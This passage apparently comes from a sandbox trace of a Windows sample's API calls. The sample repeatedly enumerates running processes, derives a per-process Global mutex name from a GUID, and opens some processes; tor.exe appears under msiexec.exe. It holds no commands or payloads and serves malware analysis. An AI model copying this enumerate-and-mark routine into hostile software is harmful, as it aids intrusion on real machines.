bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-5E7C-E7A99BE46EA0}") returned 0x6cc [0119.523] GetLastError () returned 0x0 [0119.523] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x78c) returned 0x0 [0119.523] CloseHandle (hObject=0x6cc) returned 1 [0119.523] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="prospectssayspotteryamplifier.exe")) returned 1 [0119.525] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x580, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="combinations-bits-tape.exe")) returned 1 [0119.526] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="delicious_sale.exe")) returned 1 [0119.527] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="friendly.exe")) returned 1 [0119.527] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x638, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="reveal-salaries-mandate.exe")) returned 1 [0119.565] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x628, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="catalogvidsmoreoverrail.exe")) returned 1 [0119.566] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x344, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="sri-gods.exe")) returned 1 [0119.567] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="wines-fix-hopefully-analyzed.exe")) returned 1 [0119.571] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="lovers_voices_chicks.exe")) returned 1 [0119.572] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x5e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="cool rev connection ranger.exe")) returned 1 [0119.573] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x488, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="psychiatrychip.exe")) returned 1 [0119.574] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x6e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="delivers_launches_tagged_antique.exe")) returned 1 [0119.575] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x6a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="pp availability.exe")) returned 1 [0119.576] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="pdtdifficultrolandddr.exe")) returned 1 [0119.577] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x814, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="falls.exe")) returned 1 [0119.577] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="slightly dentists modified.exe")) returned 1 [0119.578] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x834, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="switchconventionspeppercovered.exe")) returned 1 [0119.579] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x844, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="statutes_slow_determines_ciao.exe")) returned 1 [0119.580] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x854, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="psp.exe")) returned 1 [0119.580] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x864, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="anonymous.exe")) returned 1 [0119.581] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x874, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="concept_nor_works_holder.exe")) returned 1 [0119.582] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x95c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0119.583] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x998, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="OSPPSVC.EXE")) returned 1 [0119.584] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x934, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0119.585] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x9dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0119.585] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0119.586] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xbb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="mscorsvw.exe")) returned 1 [0119.587] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xbe0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="mscorsvw.exe")) returned 1 [0119.588] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x840, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0119.589] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0119.589] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x65c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="msiexec.exe")) returned 1 [0119.590] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7d, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe5, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 39 [0119.590] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 0x6cc [0119.590] GetLastError () returned 0xb7 [0119.590] CloseHandle (hObject=0x6cc) returned 1 [0119.590] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x65c, pcPriClassBase=8, dwFlags=0x0, szExeFile="tor.exe")) returned 1 [0119.591] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x65c, pcPriClassBase=8, dwFlags=0x0, szExeFile="tor.exe")) returned 0 [0119.592] CloseHandle (hObject=0x56c) returned 1 [0119.592] WaitForSingleObject (hHandle=0x67c, dwMilliseconds=0x64) returned 0x102 [0119.691] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x56c [0119.693] Process32FirstW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0119.694] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0119.695] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0119.696] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0119.696] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0119.697] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0119.698] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0119.699] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0119.700] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0119.700] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0119.701] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0119.702] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0119.703] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0119.704] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0119.704] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x354, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0119.705] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x398, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0119.706] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x3f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0119.707] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x160, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0119.708] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0119.708] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x40c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0119.709] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0119.710] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0xc2, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x7, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 39 [0119.710] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 0x6cc [0119.710] GetLastError () returned 0xb7 [0119.710] CloseHandle (hObject=0x6cc) returned 1 [0119.710] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x318, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0119.711] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 39 [0119.711] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 0x6cc [0119.711] GetLastError () returned 0xb7 [0119.711] CloseHandle (hObject=0x6cc) returned 1 [0119.711] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x550, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0119.712] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x354, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0119.713] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x1a, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0xdf, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 39 [0119.713] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 0x6cc [0119.713] GetLastError () returned 0x0 [0119.713] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x5c8) returned 0x0 [0119.713] CloseHandle (hObject=0x6cc) returned 1 [0119.713] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x354, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0119.714] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x2, [1]=0x7c, [2]=0xe7, [3]=0xa9, [4]=0xc7, [5]=0xe4, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 39 [0119.714] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 0x6cc [0119.714] GetLastError () returned 0x0 [0119.714] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x7d0) returned 0x0 [0119.714] CloseHandle (hObject=0x6cc) returned 1 [0119.714] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x354, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0119.715] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x66, [1]=0x79, [2]=0xe7, [3]=0xa9, [4]=0xa3, [5]=0xe1, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 39 [0119.715] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 0x6cc [0119.715] GetLastError () returned 0xb7 [0119.715] CloseHandle (hObject=0x6cc) returned 1 [0119.715] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x78c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1dc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0119.716] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x5e, [1]=0x7c, [2]=0xe7, [3]=0xa9, [4]=0x9b, [5]=0xe4, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-5E7C-E7A99BE46EA0}") returned 39 [0119.716] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-5E7C-E7A99BE46EA0}") returned 0x6cc [0119.716] GetLastError () returned 0x0 [0119.716] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x78c) returned 0x0 [0119.716] CloseHandle (hObject=0x6cc) returned 1 [0119.716] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="prospectssayspotteryamplifier.exe")) returned 1 [0119.718] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x580, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="combinations-bits-tape.exe")) returned 1 [0119.721] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="delicious_sale.exe")) returned 1 [0119.721] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="friendly.exe")) returned 1 [0119.722] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x638, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="reveal-salaries-mandate.exe")) returned 1 [0119.723] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x628, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="catalogvidsmoreoverrail.exe")) returned 1 [0119.731] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x344, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="sri-gods.exe")) returned 1 [0119.736] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | 